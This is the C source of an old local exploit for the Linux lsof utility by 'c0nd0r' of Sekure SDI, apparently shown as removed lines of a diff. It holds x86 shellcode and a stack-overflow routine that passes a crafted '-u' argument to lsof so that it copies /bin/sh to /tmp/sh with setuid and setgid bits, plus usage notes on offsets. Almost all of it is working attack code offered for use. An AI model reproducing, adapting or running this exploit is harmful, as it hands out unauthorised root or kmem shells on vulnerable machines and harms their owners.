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- /*
- * Sekure SDI (Brazilian Information Security Team)
- * lsof local exploit for linux
- * by c0nd0r <condor@sekure.org>
- *
- * Security problem found by HERT. (www.hert.org)
- *
- * -> This little tool will bring you a suid or sgid shell owned by lsof
- * user (root|kmem usually) at /tmp directory (/tmp/sh).
- *
- * -----------------------------------------------------------------------
- * Code explanation: We've used a unsual technique here.
- * The buffer allocated was too small for the standard expl, so we did a
- * little trick, by overflowing with 'A' till reaching the ret address and
- * then we've filled with NOP and the shellcode just after the modified
- * ret address. So we have a different exploit architeture:
- * [garbage][eip modified][lotsa NOP's][shellcode]
- * That's why we need a bigger offset.
- * -----------------------------------------------------------------------
- *
- * usage ( needa have a little brain):
- * ./SDI-lsof <offset> (between 373-505)
- *
- * 4 phun - http://www.sekure.org
- * Thanks to jamez, dumped, bishop, bahamas, slide, falcon, vader
- * and guys at #uground (irc.brasnet.org network)
- *
- */
-
-
- /* change the lsof path if it's needed */
- #define PATH "/usr/bin/lsof"
-
-
- char shellcode[] =
- "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
- "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
- "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
- "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";
-
-
- unsigned long getsp ( void) {
- __asm__("mov %esp,%eax");
- }
-
- main ( int argc, char *argv[0]) {
- char b00m[220];
- long addr;
- int x, y, offset=380;
-
- if (argc > 1) offset = atoi(argv[1]);
-
- for (x = 0; x < 16; x++)
- b00m[x] = 'A';
-
- addr = getsp() + offset;
- printf ( "SDI-lsof exploiting at 0x%x\n", addr);
-
- b00m[x++] = addr & 0x000000ff;
- b00m[x++] = (addr & 0x0000ff00) >> 8;
- b00m[x++] = (addr & 0x00ff0000) >> 16;
- b00m[x++] = (addr & 0xff000000) >> 24;
-
- for ( ; x < 100; x++)
- b00m[x] = 0x90;
-
- for (y = 0; y < strlen(shellcode); y++, x++)
- b00m[x] = shellcode[y];
-
- b00m[strlen(b00m)] = '\0';
-
- printf ( "\nFind a suid shell at /tmp/sh...\n\n");
- execl ( PATH, PATH, "-u", b00m, (char *)0);
- perror ( "execl") ;
-
- }
-